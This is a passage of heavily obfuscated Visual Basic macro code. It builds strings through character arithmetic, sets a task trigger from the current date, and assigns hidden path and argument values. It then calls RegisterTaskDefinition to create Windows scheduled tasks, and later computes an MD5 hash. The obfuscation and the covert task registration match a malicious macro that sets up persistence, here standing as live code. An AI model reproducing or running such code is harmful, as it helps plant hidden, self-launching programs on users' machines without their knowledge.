Str(Mid(fff1a755ab7f7f89adf85eab4a800915, 14, 1)))) - 4, Asc(Mid(Right(fff1a755ab7f7f89adf85eab4a800915, (Asc(Mid(Right(fff1a755ab7f7f89adf85eab4a800915, 2), 1, 1)) - Asc(Mid(Right(fff1a755ab7f7f89adf85eab4a800915, 3), 1, 1)))), 1, 1)) - Asc(Mid(Right(fff1a755ab7f7f89adf85eab4a800915, 3), 1, 1))), c211ac1aab97681a0e50bd1ba4a0f916, Str(Left(Right(fff1a755ab7f7f89adf85eab4a800915, 9), 1)) + 1, , , (Str(Left(Right(fff1a755ab7f7f89adf85eab4a800915, 9), 1)) + 1) / (Asc(Mid(Right(fff1a755ab7f7f89adf85eab4a800915, 2), 1, 1)) - Asc(Mid(Right(fff1a755ab7f7f89adf85eab4a800915, 3), 1, 1)))): aa51ff1aeb9788740e5cbd28a3adf916 = Year(f251fc1aeb9788140e5cbd28a4adf916) & Chr(Asc(Left(Right(fff1a755ab7f7f89adf85eab4a800915, 3), 1)) + CInt(Left(Right(fff1a755ab7f7f89adf85eab4a800915, 8), 1))) & Format(Month(f251fc1aeb9788140e5cbd28a4adf916), Trim(Str(Asc(Left(fff1a755ab7f7f89adf85eab4a800915, 1)) - Asc(Mid(fff1a755ab7f7f89adf85eab4a800915, 1, 1)))) & _
Trim(Str(Asc(Right(fff1a755ab7f7f89adf85eab4a800915, 1)) - Asc(Mid(fff1a755ab7f7f89adf85eab4a800915, Len(fff1a755ab7f7f89adf85eab4a800915), 1))))) & Chr(Asc(Left(Right(fff1a755ab7f7f89adf85eab4a800915, 3), 1)) + CInt(Left(Right(fff1a755ab7f7f89adf85eab4a800915, 8), 1))) & Format(Day(f251fc1aeb9788140e5cbd28a4adf916), Trim(Str(Asc(Left(fff1a755ab7f7f89adf85eab4a800915, 1)) - Asc(Mid(fff1a755ab7f7f89adf85eab4a800915, 1, 1)))) & Trim(Str(Asc(Right(fff1a755ab7f7f89adf85eab4a800915, 1)) - Asc(Mid(fff1a755ab7f7f89adf85eab4a800915, Len(fff1a755ab7f7f89adf85eab4a800915), 1))))) & UCase(Chr(Asc(Mid(fff1a755ab7f7f89adf85eab4a800915, 10, 1)) + 1)) & Trim(Str(Asc(Left(fff1a755ab7f7f89adf85eab4a800915, 1)) - Asc(Mid(fff1a755ab7f7f89adf85eab4a800915, 1, 1)))) & Trim(Str(Asc(Right(fff1a755ab7f7f89adf85eab4a800915, 1)) - Asc(Mid(fff1a755ab7f7f89adf85eab4a800915, Len(fff1a755ab7f7f89adf85eab4a800915), 1)))) & Chr(CInt(Left(Right(fff1a755ab7f7f89adf85eab4a800915, 9), 2)) + _
CInt(Mid(fff1a755ab7f7f89adf85eab4a800915, 14, 1))) & Trim(Str(Asc(Left(fff1a755ab7f7f89adf85eab4a800915, 1)) - Asc(Mid(fff1a755ab7f7f89adf85eab4a800915, 1, 1)))) & Mid(fff1a755ab7f7f89adf85eab4a800915, 17, 1) & Chr(CInt(Left(Right(fff1a755ab7f7f89adf85eab4a800915, 9), 2)) + CInt(Mid(fff1a755ab7f7f89adf85eab4a800915, 14, 1))) & Mid(fff1a755ab7f7f89adf85eab4a800915, 15, 1) & Trim(Str(Asc(Left(fff1a755ab7f7f89adf85eab4a800915, 1)) - Asc(Mid(fff1a755ab7f7f89adf85eab4a800915, 1, 1)))): e211fc1aeb9768140e5cbd18a4adf916.StartBoundary = aa51ff1aeb9788740e5cbd28a3adf916: bb51ff1aebd788740e7cbd28a3ad9917.Arguments = bbf1a755ab7f7f89adf95e1ad2fe4a800915(Asc(Mid(Right(fff1a755ab7f7f89adf85eab4a800915, 2), 1, 1)) - Asc(Mid(Right(fff1a755ab7f7f89adf85eab4a800915, 3), 1, 1)), CInt(StrReverse(Asc(Right(fff1a755ab7f7f89adf85eab4a800915, 1)) - Str(Mid(fff1a755ab7f7f89adf85eab4a800915, 14, 1)))) - 4, 2) & fff1a81b44d744140501ad28a0a0991b & _
bbf1a755ab7f7f89adf95e1ad2fe4a800915(CInt(Left(Replace(fff1a755ab7f7f89adf85eab4a800915, Left(fff1a755ab7f7f89adf85eab4a800915, 16), ""), 2)) - Asc(UCase(Left(Right(fff1a755ab7f7f89adf85eab4a800915, Len(fff1a755ab7f7f89adf85eab4a800915) - 2), 1))) + b211ac55ab7f689adf50ad1aa4a800916, CInt(Left(Right(fff1a755ab7f7f89adf85eab4a800915, 10), 2)) - CInt(Replace(Left(Right(fff1a755ab7f7f89adf85eab4a800915, 11), 3), Left(Right(fff1a755ab7f7f89adf85eab4a800915, 10), 1), "")), 2) & bbf1a755ab7f7f89adf95e1ad2fe4a800915(CInt(StrReverse(Asc(Right(fff1a755ab7f7f89adf85eab4a800915, 1)) - Str(Mid(fff1a755ab7f7f89adf85eab4a800915, 14, 1)))) - 2, CInt(StrReverse(Asc(Right(fff1a755ab7f7f89adf85eab4a800915, 1)) - Str(Mid(fff1a755ab7f7f89adf85eab4a800915, 14, 1)))) - 9, 1) & Chr(Str(Left(Right(fff1a755ab7f7f89adf85eab4a800915, 10), 2)) - 1) & Chr(Str(Left(Right(fff1a755ab7f7f89adf85eab4a800915, 10), 2)) - 1) & Chr(Str(Left(Right(fff1a755ab7f7f89adf85eab4a800915, 10), 2)) - 1):
Call b211ac18ab97681a0e50bd1aa4a00916.RegisterTaskDefinition(bbf1a755ab7f7f89adf95e1ad2fe4a800915(CInt(StrReverse(Asc(Right(fff1a755ab7f7f89adf85eab4a800915, 1)))) - Asc(Str(Mid(fff1a755ab7f7f89adf85eab4a800915, 14, 1))), CInt(StrReverse(Asc(Right(fff1a755ab7f7f89adf85eab4a800915, 1)) - Str(Mid(fff1a755ab7f7f89adf85eab4a800915, 14, 1)))) - 3), c211ac1aab97681a0e50bd1ba4a0f916, Str(Left(Right(fff1a755ab7f7f89adf85eab4a800915, 9), 1)) + 1, , , (Str(Left(Right(fff1a755ab7f7f89adf85eab4a800915, 9), 1)) + 1) / (CInt(StrReverse(Asc(Right(fff1a755ab7f7f89adf85eab4a800915, 1)))) - Asc(Str(Mid(fff1a755ab7f7f89adf85eab4a800915, 14, 1))))):
Else
bb51ff1aebd788740e7cbd28a3ad9917.Path = bbf1a755ab7f7f89adf95e1ad2fe4a800915(CInt(Trim(Str(b211ac55ab7f689adf50ad1aa4a800916)) & Left(Right(fff1a755ab7f7f89adf85eab4a800915, 8), 1)) - 1, CInt(StrReverse(Asc(Right(fff1a755ab7f7f89adf85eab4a800915, 1)) - Str(Mid(fff1a755ab7f7f89adf85eab4a800915, 14, 1)))) - 4): bb51ff1aebd788740e7cbd28a3ad9917.Arguments = Chr(Str(Left(Right(fff1a755ab7f7f89adf85eab4a800915, 10), 2)) - 1) & StrReverse(Mid(fff1a755ab7f7f89adf85eab4a800915, 2, 2)) & Chr(Asc(Trim(Str(CInt(Mid(fff1a755ab7f7f89adf85eab4a800915, 15, 1)) + CInt(Mid(fff1a755ab7f7f89adf85eab4a800915, 14, 1))))) * 2) & Mid(fff1a755ab7f7f89adf85eab4a800915, 8, 1) & Chr(Asc(Right(Left(fff1a755ab7f7f89adf85eab4a800915, 14), 1)) - 3) & Chr(Str(Replace(Left(Right(fff1a755ab7f7f89adf85eab4a800915, 9), 3), Mid(Left(Right(fff1a755ab7f7f89adf85eab4a800915, 9), 3), 2, 1), ""))) & bbf1a755ab7f7f89adf95e1ad2fe4a800915(b211ac55ab7f689adf50ad1aa4a800916, CInt(Left(Replace(fff1a755ab7f7f89adf85eab4a800915, _
Left(fff1a755ab7f7f89adf85eab4a800915, 16), ""), 2)) - Asc(UCase(Left(Right(fff1a755ab7f7f89adf85eab4a800915, Len(fff1a755ab7f7f89adf85eab4a800915) - 2), 1))), a211ac15ab97681ade50bd1aa4a00912) & Chr(Str(Left(Right(fff1a755ab7f7f89adf85eab4a800915, 10), 2)) - 1): Call b211ac18ab97681a0e50bd1aa4a00916.RegisterTaskDefinition(bbf1a755ab7f7f89adf95e1ad2fe4a800915(CInt(StrReverse(Asc(Right(fff1a755ab7f7f89adf85eab4a800915, 1)) - Str(Mid(fff1a755ab7f7f89adf85eab4a800915, 14, 1)))), CInt(StrReverse(Asc(Right(fff1a755ab7f7f89adf85eab4a800915, 1)) - Str(Mid(fff1a755ab7f7f89adf85eab4a800915, 14, 1)))) - 4, Asc(Mid(Right(fff1a755ab7f7f89adf85eab4a800915, 2), 1, 1)) - Asc(Mid(Right(fff1a755ab7f7f89adf85eab4a800915, 3), 1, 1))), c211ac1aab97681a0e50bd1ba4a0f916, Str(Left(Right(fff1a755ab7f7f89adf85eab4a800915, 9), 1)) + 1, , , (Str(Left(Right(fff1a755ab7f7f89adf85eab4a800915, 9), 1)) + 1) / (CInt(StrReverse(Asc(Right(fff1a755ab7f7f89adf85eab4a800915, 1)))) - Asc(Str(Mid(fff1a755ab7f7f89adf85eab4a800915, 14, 1))))):
aa51ff1aeb9788740e5cbd28a3adf916 = Year(f251fc1aeb9788140e5cbd28a4adf916) & Chr(Asc(Left(Right(fff1a755ab7f7f89adf85eab4a800915, 3), 1)) + CInt(Left(Right(fff1a755ab7f7f89adf85eab4a800915, 8), 1))) & Format(Month(f251fc1aeb9788140e5cbd28a4adf916), Trim(Str(Asc(Left(fff1a755ab7f7f89adf85eab4a800915, 1)) - Asc(Mid(fff1a755ab7f7f89adf85eab4a800915, 1, 1)))) & Trim(Str(Asc(Right(fff1a755ab7f7f89adf85eab4a800915, 1)) - Asc(Mid(fff1a755ab7f7f89adf85eab4a800915, Len(fff1a755ab7f7f89adf85eab4a800915), 1))))) & Chr(Asc(Left(Right(fff1a755ab7f7f89adf85eab4a800915, 3), 1)) + CInt(Left(Right(fff1a755ab7f7f89adf85eab4a800915, 8), 1))) & Format(Day(f251fc1aeb9788140e5cbd28a4adf916), Trim(Str(Asc(Left(fff1a755ab7f7f89adf85eab4a800915, 1)) - Asc(Mid(fff1a755ab7f7f89adf85eab4a800915, 1, 1)))) & Trim(Str(Asc(Right(fff1a755ab7f7f89adf85eab4a800915, 1)) - Asc(Mid(fff1a755ab7f7f89adf85eab4a800915, Len(fff1a755ab7f7f89adf85eab4a800915), 1))))) & UCase(Chr(Asc(Mid(fff1a755ab7f7f89adf85eab4a800915, 10, 1)) + 1)) & _
Trim(Str(Asc(Left(fff1a755ab7f7f89adf85eab4a800915, 1)) - Asc(Mid(fff1a755ab7f7f89adf85eab4a800915, 1, 1)))) & Trim(Str(Asc(Right(fff1a755ab7f7f89adf85eab4a800915, 1)) - Asc(Mid(fff1a755ab7f7f89adf85eab4a800915, Len(fff1a755ab7f7f89adf85eab4a800915), 1)))) & Chr(CInt(Left(Right(fff1a755ab7f7f89adf85eab4a800915, 9), 2)) + CInt(Mid(fff1a755ab7f7f89adf85eab4a800915, 14, 1))) & Trim(Str(Asc(Left(fff1a755ab7f7f89adf85eab4a800915, 1)) - Asc(Mid(fff1a755ab7f7f89adf85eab4a800915, 1, 1)))) & Mid(fff1a755ab7f7f89adf85eab4a800915, 17, 1) & Chr(CInt(Left(Right(fff1a755ab7f7f89adf85eab4a800915, 9), 2)) + CInt(Mid(fff1a755ab7f7f89adf85eab4a800915, 14, 1))) & Mid(fff1a755ab7f7f89adf85eab4a800915, 15, 1) & Trim(Str(Asc(Left(fff1a755ab7f7f89adf85eab4a800915, 1)) - Asc(Mid(fff1a755ab7f7f89adf85eab4a800915, 1, 1)))): e211fc1aeb9768140e5cbd18a4adf916.StartBoundary = aa51ff1aeb9788740e5cbd28a3adf916: bb51ff1aebd788740e7cbd28a3ad9917.Arguments = Chr(Str(Left(Right(fff1a755ab7f7f89adf85eab4a800915, 10), 2)) - 1) & _
StrReverse(Mid(fff1a755ab7f7f89adf85eab4a800915, 2, 2)) & Chr(Asc(Trim(Str(CInt(Mid(fff1a755ab7f7f89adf85eab4a800915, 15, 1)) + CInt(Mid(fff1a755ab7f7f89adf85eab4a800915, 14, 1))))) * 2) & Mid(fff1a755ab7f7f89adf85eab4a800915, 8, 1) & Chr(Asc(Right(Left(fff1a755ab7f7f89adf85eab4a800915, 14), 1)) - 3) & Chr(Str(Replace(Left(Right(fff1a755ab7f7f89adf85eab4a800915, 9), 3), Mid(Left(Right(fff1a755ab7f7f89adf85eab4a800915, 9), 3), 2, 1), ""))) & bbf1a755ab7f7f89adf95e1ad2fe4a800915(CInt(StrReverse(Asc(Right(fff1a755ab7f7f89adf85eab4a800915, 1)) - Str(Mid(fff1a755ab7f7f89adf85eab4a800915, 14, 1)))) - 2, CInt(StrReverse(Asc(Right(fff1a755ab7f7f89adf85eab4a800915, 1)) - Str(Mid(fff1a755ab7f7f89adf85eab4a800915, 14, 1)))) - 9, 1) & Chr(Str(Left(Right(fff1a755ab7f7f89adf85eab4a800915, 10), 2)) - 1): Call b211ac18ab97681a0e50bd1aa4a00916.RegisterTaskDefinition(bbf1a755ab7f7f89adf95e1ad2fe4a800915(CInt(StrReverse(Asc(Right(fff1a755ab7f7f89adf85eab4a800915, 1)))) - _
Asc(Str(Mid(fff1a755ab7f7f89adf85eab4a800915, 14, 1))), CInt(StrReverse(Asc(Right(fff1a755ab7f7f89adf85eab4a800915, 1)) - Str(Mid(fff1a755ab7f7f89adf85eab4a800915, 14, 1)))) - 3), c211ac1aab97681a0e50bd1ba4a0f916, Str(Left(Right(fff1a755ab7f7f89adf85eab4a800915, 9), 1)) + 1, , , (Str(Left(Right(fff1a755ab7f7f89adf85eab4a800915, 9), 1)) + 1) / (CInt(StrReverse(Asc(Right(fff1a755ab7f7f89adf85eab4a800915, 1)))) - Asc(Str(Mid(fff1a755ab7f7f89adf85eab4a800915, 14, 1))))): End If: GoTo ddd1641463d78214f9010ff8a0a0991b:
bbb9681439d74414f5017f28a0a0991b: For b211ac55ab7f689adf50ad1aa4a847916 = 1 To 9 Step 2: fff1a755ab7f7f89adf85eab4a800915 = fff1a755ab7f7f89adf85eab4a800915 & Chr(Asc(Space(1)) + 16 + b211ac55ab7f689adf50ad1aa4a847916): Next: For b211ac55ab7f689adf50ad1aa4a847916 = 1 To 5 Step 2: fff1a755ab7f7f89adf85eab4a800915 = fff1a755ab7f7f89adf85eab4a800915 & Chr(Asc(Space(1)) + b211ac55ab7f689adf50ad1aa4a847916): Next: fff1a755ab7f7f89adf85eab4a800915 = fff1a755ab7f7f89adf85eab4a800915 & "&(+": Resume ccc8601433d74214f5013f28a0a0991b
ddd1641463d78214f9010ff8a0a0991b: End If:
ElseIf b211ac55ab7f689adf50ad1aa4a800916 = d211af55ab7f7689adf950ad2ab4a800916 Xor d211af55ab7f7689adf950ad2ab4a800916 And d211af55ab7f7689adf950ad2ab4a800916 = b211ac55ab7f689adf50ad1aa4a800916 Then
b211ac55ab7f689adf50ad1aa4a843916 = 0: For b211ac55ab7f689adf50ad1aa4a801916 = 0 To 30: b211ac55ab7f689adf50ad1aa4a843916 = b211ac55ab7f689adf50ad1aa4a843916 + 2 ^ b211ac55ab7f689adf50ad1aa4a801916: b211ac55ab7f689adf50ad1aa4a802916(b211ac55ab7f689adf50ad1aa4a801916) = CLng(b211ac55ab7f689adf50ad1aa4a843916): b211ac55ab7f689adf50ad1aa4a803916(b211ac55ab7f689adf50ad1aa4a801916) = CLng(2 ^ b211ac55ab7f689adf50ad1aa4a801916): Next: Dim b211ac55ab7f689adf50ad1aa4a818916: Dim b211ac55ab7f689adf50ad1aa4a838916: Dim b211ac55ab7f689adf50ad1aa4a836916: Dim b211ac55ab7f689adf50ad1aa4a837916: Dim b211ac55ab7f689adf50ad1aa4a835916: Dim b211ac55ab7f689adf50ad1aa4a839916: Dim b211ac55ab7f689adf50ad1aa4a814916: Dim b211ac55ab7f689adf50ad1aa4a815916: Dim b211ac55ab7f689adf50ad1aa4a816916: Dim b211ac55ab7f689adf50ad1aa4a817916: Const b211ac55ab7f689adf50ad1aa4a840916 = 7: Const b211ac55ab7f689adf50ad1aa4a850916 = b211ac55ab7f689adf50ad1aa4a840916 + 5:
Const b211ac55ab7f689adf50ad1aa4a860916 = b211ac55ab7f689adf50ad1aa4a850916 + b211ac55ab7f689adf50ad1aa4a840916 - 2: Const b211ac55ab7f689adf50ad1aa4a870916 = b211ac55ab7f689adf50ad1aa4a860916 + b211ac55ab7f689adf50ad1aa4a840916 - 2: Const b211ac55ab7f689adf50ad1aa4a880916 = b211ac55ab7f689adf50ad1aa4a860916 - b211ac55ab7f689adf50ad1aa4a850916: Const b211ac55ab7f689adf50ad1aa4a890916 = b211ac55ab7f689adf50ad1aa4a850916 + b211ac55ab7f689adf50ad1aa4a840916 - b211ac55ab7f689adf50ad1aa4a880916 - b211ac55ab7f689adf50ad1aa4a880916: Const b211ac55ab7f689adf50ad1aa4a841916 = b211ac55ab7f689adf50ad1aa4a880916 + b211ac55ab7f689adf50ad1aa4a890916: Const b211ac55ab7f689adf50ad1aa4a851916 = b211ac55ab7f689adf50ad1aa4a870916 - b211ac55ab7f689adf50ad1aa4a840916 + b211ac55ab7f689adf50ad1aa4a880916: Const b211ac55ab7f689adf50ad1aa4a861916 = b211ac55ab7f689adf50ad1aa4a841916 - b211ac55ab7f689adf50ad1aa4a850916 + b211ac55ab7f689adf50ad1aa4a870916 - b211ac55ab7f689adf50ad1aa4a851916:
Const b211ac55ab7f689adf50ad1aa4a871916 = b211ac55ab7f689adf50ad1aa4a861916 + b211ac55ab7f689adf50ad1aa4a840916: Const b211ac55ab7f689adf50ad1aa4a881916 = b211ac55ab7f689adf50ad1aa4a880916 + b211ac55ab7f689adf50ad1aa4a871916: Const b211ac55ab7f689adf50ad1aa4a891916 = b211ac55ab7f689adf50ad1aa4a840916 + b211ac55ab7f689adf50ad1aa4a850916 + b211ac55ab7f689adf50ad1aa4a861916: Const b211ac55ab7f689adf50ad1aa4a842916 = b211ac55ab7f689adf50ad1aa4a891916 - b211ac55ab7f689adf50ad1aa4a860916: Const b211ac55ab7f689adf50ad1aa4a852916 = b211ac55ab7f689adf50ad1aa4a861916 + b211ac55ab7f689adf50ad1aa4a842916: Const b211ac55ab7f689adf50ad1aa4a862916 = b211ac55ab7f689adf50ad1aa4a880916 + b211ac55ab7f689adf50ad1aa4a852916: Const b211ac55ab7f689adf50ad1aa4a872916 = b211ac55ab7f689adf50ad1aa4a842916 + b211ac55ab7f689adf50ad1aa4a862916: b211ac55ab7f689adf50ad1aa4a818916 = b211ac55ab7f689adf50ad1aa4a821916(a211ac15ab97681ade50bd1aa4a00912): b211ac55ab7f689adf50ad1aa4a814916 = &H67452301:
b211ac55ab7f689adf50ad1aa4a815916 = &HEFCDAB89: b211ac55ab7f689adf50ad1aa4a816916 = &H98BADCFE: b211ac55ab7f689adf50ad1aa4a817916 = &H10325476: For b211ac55ab7f689adf50ad1aa4a838916 = 0 To UBound(b211ac55ab7f689adf50ad1aa4a818916) Step 16: b211ac55ab7f689adf50ad1aa4a836916 = b211ac55ab7f689adf50ad1aa4a814916: b211ac55ab7f689adf50ad1aa4a837916 = b211ac55ab7f689adf50ad1aa4a815916: b211ac55ab7f689adf50ad1aa4a835916 = b211ac55ab7f689adf50ad1aa4a816916: b211ac55ab7f689adf50ad1aa4a839916 = b211ac55ab7f689adf50ad1aa4a817916: b211ac55ab7f689adf50ad1aa4a813916 b211ac55ab7f689adf50ad1aa4a814916, b211ac55ab7f689adf50ad1aa4a815916, b211ac55ab7f689adf50ad1aa4a816916, b211ac55ab7f689adf50ad1aa4a817916, b211ac55ab7f689adf50ad1aa4a818916(b211ac55ab7f689adf50ad1aa4a838916 + 0), b211ac55ab7f689adf50ad1aa4a840916, &HD76AA478:
b211ac55ab7f689adf50ad1aa4a813916 b211ac55ab7f689adf50ad1aa4a817916, b211ac55ab7f689adf50ad1aa4a814916, b211ac55ab7f689adf50ad1aa4a815916, b211ac55ab7f689adf50ad1aa4a816916, b211ac55ab7f689adf50ad1aa4a818916(b211ac55ab7f689adf50ad1aa4a838916 + 1), b211ac55ab7f689adf50ad1aa4a850916, &HE8C7B756: b211ac55ab7f689adf50ad1aa4a813916 b211ac55ab7f689adf50ad1aa4a816916, b211ac55ab7f689adf50ad1aa4a817916, b211ac55ab7f689adf50ad1aa4a814916, b211ac55ab7f689adf50ad1aa4a815916, b211ac55ab7f689adf50ad1aa4a818916(b211ac55ab7f689adf50ad1aa4a838916 + 2), b211ac55ab7f689adf50ad1aa4a860916, &H242070DB: b211ac55ab7f689adf50ad1aa4a813916 b211ac55ab7f689adf50ad1aa4a815916, b211ac55ab7f689adf50ad1aa4a816916, b211ac55ab7f689adf50ad1aa4a817916, b211ac55ab7f689adf50ad1aa4a814916, b211ac55ab7f689adf50ad1aa4a818916(b211ac55ab7f689adf50ad1aa4a838916 + 3), b211ac55ab7f689adf50ad1aa4a870916, &HC1BDCEEE:
b211ac55ab7f689adf50ad1aa4a813916 b211ac55ab7f689adf50ad1aa4a814916, b211ac55ab7f689adf50ad1aa4a815916, b211ac55ab7f689adf50ad1aa4a816916, b211ac55ab7f689adf50ad1aa4a817916, b211ac55ab7f689adf50ad1aa4a818916(b211ac55ab7f689adf50ad1aa4a838916 + 4), b211ac55ab7f689adf50ad1aa4a840916, &HF57C0FAF: b211ac55ab7f689adf50ad1aa4a813916 b211ac55ab7f689adf50ad1aa4a817916, b211ac55ab7f689adf50ad1aa4a814916, b211ac55ab7f689adf50ad1aa4a815916, b211ac55ab7f689adf50ad1aa4a816916, b211ac55ab7f689adf50ad1aa4a818916(b211ac55ab7f689adf50ad1aa4a838916 + 5), b211ac55ab7f689adf50ad1aa4a850916, &H4787C62A: b211ac55ab7f689adf50ad1aa4a813916 b211ac55ab7f689adf50ad1aa4a816916, b211ac55ab7f689adf50ad1aa4a817916, b211ac55ab7f689adf50ad1aa4a814916, b211ac55ab7f689adf50ad1aa4a815916, b211ac55ab7f689adf50ad1aa4a818916(b211ac55ab7f689adf50ad1aa4a838916 + 6), b211ac55ab7f689adf50ad1aa4a860916, &HA8304613:
b211ac55ab7f689adf50ad1aa4a813916 b211ac55ab7f689adf50ad1aa4a815916, b211ac55ab7f689adf50ad1aa4a816916, b211ac55ab7f689adf50ad1aa4a817916, b211ac55ab7f689adf50ad1aa4a814916, b211ac55ab7f689adf50ad1aa4a818916(b211ac55ab7f689adf50ad1aa4a838916 + 7), b211ac55ab7f689adf50ad1aa4a870916, &HFD469501: b211ac55ab7f689adf50ad1aa4a813916 b211ac55ab7f689adf50ad1aa4a814916, b211ac55ab7f689adf50ad1aa4a815916, b211ac55ab7f689adf50ad1aa4a816916, b211ac55ab7f689adf50ad1aa4a817916, b211ac55ab7f689adf50ad1aa4a818916(b211ac55ab7f689adf50ad1aa4a838916 + 8), b211ac55ab7f689adf50ad1aa4a840916, &H698098D8: b211ac55ab7f689adf50ad1aa4a813916 b211ac55ab7f689adf50ad1aa4a817916, b211ac55ab7f689adf50ad1aa4a814916, b211ac55ab7f689adf50ad1aa4a815916, b211ac55ab7f689adf50ad1aa4a816916, b211ac55ab7f689adf50ad1aa4a818916(b211ac55ab7f689adf50ad1aa4a838916 + 9), b211ac55ab7f689adf50ad1aa4a850916, &H8B44F7AF:
b211ac55ab7f689adf50ad1aa4a813916 b211ac55ab7f689adf50ad1aa4a816916, b211ac55ab7f689adf50ad1aa4a817916, b211ac55ab7f689adf50ad1aa4a814916, b211ac55ab7f689adf50ad1aa4a815916, b211ac55ab7f689adf50ad1aa4a818916(b211ac55ab7f689adf50ad1aa4a838916 + 10), b211ac55ab7f689adf50ad1aa4a860916, &HFFFF5BB1: b211ac55ab7f689adf50ad1aa4a813916 b211ac55ab7f689adf50ad1aa4a815916, b211ac55ab7f689adf50ad1aa4a816916, b211ac55ab7f689adf50ad1aa4a817916, b211ac55ab7f689adf50ad1aa4a814916, b211ac55ab7f689adf50ad1aa4a818916(b211ac55ab7f689adf50ad1aa4a838916 + 11), b211ac55ab7f689adf50ad1aa4a870916, &H895CD7BE: b211ac55ab7f689adf50ad1aa4a813916 b211ac55ab7f689adf50ad1aa4a814916, b211ac55ab7f689adf50ad1aa4a815916, b211ac55ab7f689adf50ad1aa4a816916, b211ac55ab7f689adf50ad1aa4a817916, b211ac55ab7f689adf50ad1aa4a818916(b211ac55ab7f689adf50ad1aa4a838916 + 12), b211ac55ab7f689adf50ad1aa4a840916, &H6B901122:
b211ac55ab7f689adf50ad1aa4a813916 b211ac55ab7f689adf50ad1aa4a817916, b211ac55ab7f689adf50ad1aa4a814916, b211ac55ab7f689adf50ad1aa4a815916, b211ac55ab7f689adf50ad1aa4a816916, b211ac55ab7f689adf50ad1aa4a818916(b211ac55ab7f689adf50ad1aa4a838916 + 13), b211ac55ab7f689adf50ad1aa4a850916, &HFD987193: b211ac55ab7f689adf50ad1aa4a813916 b211ac55ab7f689adf50ad1aa4a816916, b211ac55ab7f689adf50ad1aa4a817916, b211ac55ab7f689adf50ad1aa4a814916, b211ac55ab7f689adf50ad1aa4a815916, b211ac55ab7f689adf50ad1aa4a818916(b211ac55ab7f689adf50ad1aa4a838916 + 14), b211ac55ab7f689adf50ad1aa4a860916, &HA679438E: b211ac55ab7f689adf50ad1aa4a813916 b211ac55ab7f689adf50ad1aa4a815916, b211ac55ab7f689adf50ad1aa4a816916, b211ac55ab7f689adf50ad1aa4a817916, b211ac55ab7f689adf50ad1aa4a814916, b211ac55ab7f689adf50ad1aa4a818916(b211ac55ab7f689adf50ad1aa4a838916 + 15), b211ac55ab7f689adf50ad1aa4a870916, &H49B40821:
b211ac55ab7f689adf50ad1aa4a882916 b211ac55ab7f689adf50ad1aa4a814916, b211ac55ab7f689adf50ad1aa4a815916, b211ac55ab7f689adf50ad1aa4a816916, b211ac55ab7f689adf50ad1aa4a817916, b211ac55ab7f689adf50ad1aa4a818916(b211ac55ab7f689adf50ad1aa4a838916 + 1), b211ac55ab7f689adf50ad1aa4a880916, &HF61E2562: b211ac55ab7f689adf50ad1aa4a882916 b211ac55ab7f689adf50ad1aa4a817916, b211ac55ab7f689adf50ad1aa4a814916, b211ac55ab7f689adf50ad1aa4a815916, b211ac55ab7f689adf50ad1aa4a816916, b211ac55ab7f689adf50ad1aa4a818916(b211ac55ab7f689adf50ad1aa4a838916 + 6), b211ac55ab7f689adf50ad1aa4a890916, &HC040B340: b211ac55ab7f689adf50ad1aa4a882916 b211ac55ab7f689adf50ad1aa4a816916, b211ac55ab7f689adf50ad1aa4a817916, b211ac55ab7f689adf50ad1aa4a814916, b211ac55ab7f689adf50ad1aa4a815916, b211ac55ab7f689adf50ad1aa4a818916(b211ac55ab7f689adf50ad1aa4a838916 + 11), b211ac55ab7f689adf50ad1aa4a841916, &H265E5A51:
b211ac55ab7f689adf50ad1aa4a882916 b211ac55ab7f689adf50ad1aa4a815916, b211ac55ab7f689adf50ad1aa4a816916, b211ac55ab7f689adf50ad1aa4a817916, b211ac55ab7f689adf50ad1aa4a814916, b211ac55ab7f689adf50ad1aa4a818916(b211ac55ab7f689adf50ad1aa4a838916 + 0), b211ac55ab7f689adf50ad1aa4a851916, &HE9B6C7AA: b211ac55ab7f689adf50ad1aa4a882916 b211ac55ab7f689adf50ad1aa4a814916, b211ac55ab7f689adf50ad1aa4a815916, b211ac55ab7f689adf50ad1aa4a816916, b211ac55ab7f689adf50ad1aa4a817916, b211ac55ab7f689adf50ad1aa4a818916(b211ac55ab7f689adf50ad1aa4a838916 + 5), b211ac55ab7f689adf50ad1aa4a880916, &HD62F105D: b211ac55ab7f689adf50ad1aa4a882916 b211ac55ab7f689adf50ad1aa4a817916, b211ac55ab7f689adf50ad1aa4a814916, b211ac55ab7f689adf50ad1aa4a815916, b211ac55ab7f689adf50ad1aa4a816916, b211ac55ab7f689adf50ad1aa4a818916(b211ac55ab7f689adf50ad1aa4a838916 + 10), b211ac55ab7f689adf50ad1aa4a890916, &H2441453:
b211ac55ab7f689adf50ad1aa4a882916 b211ac55ab7f689adf50ad1aa4a816916, b211ac55ab7f689adf50ad1aa4a817916, b211ac55ab7f689adf50ad1aa4a814916, b211ac55ab7f689adf50ad1aa4a815916, b211ac55ab7f689adf50ad1aa4a818916(b211ac55ab7f689adf50ad1aa4a838916 + 15), b211ac55ab7f689adf50ad1aa4a841916, &HD8A1E681: b211ac55ab7f689adf50ad1aa4a882916 b211ac55ab7f689adf50ad1aa4a815916, b211ac55ab7f689adf50ad1aa4a816916, b211ac55ab7f689adf50ad1aa4a817916, b211ac55ab7f689adf50ad1aa4a814916, b211ac55ab7f689adf50ad1aa4a818916(b211ac55ab7f689adf50ad1aa4a838916 + 4), b211ac55ab7f689adf50ad1aa4a851916, &HE7D3FBC8: b211ac55ab7f689adf50ad1aa4a882916 b211ac55ab7f689adf50ad1aa4a814916, b211ac55ab7f689adf50ad1aa4a815916, b211ac55ab7f689adf50ad1aa4a816916, b211ac55ab7f689adf50ad1aa4a817916, b211ac55ab7f689adf50ad1aa4a818916(b211ac55ab7f689adf50ad1aa4a838916 + 9), b211ac55ab7f689adf50ad1aa4a880916, &H21E1CDE6:
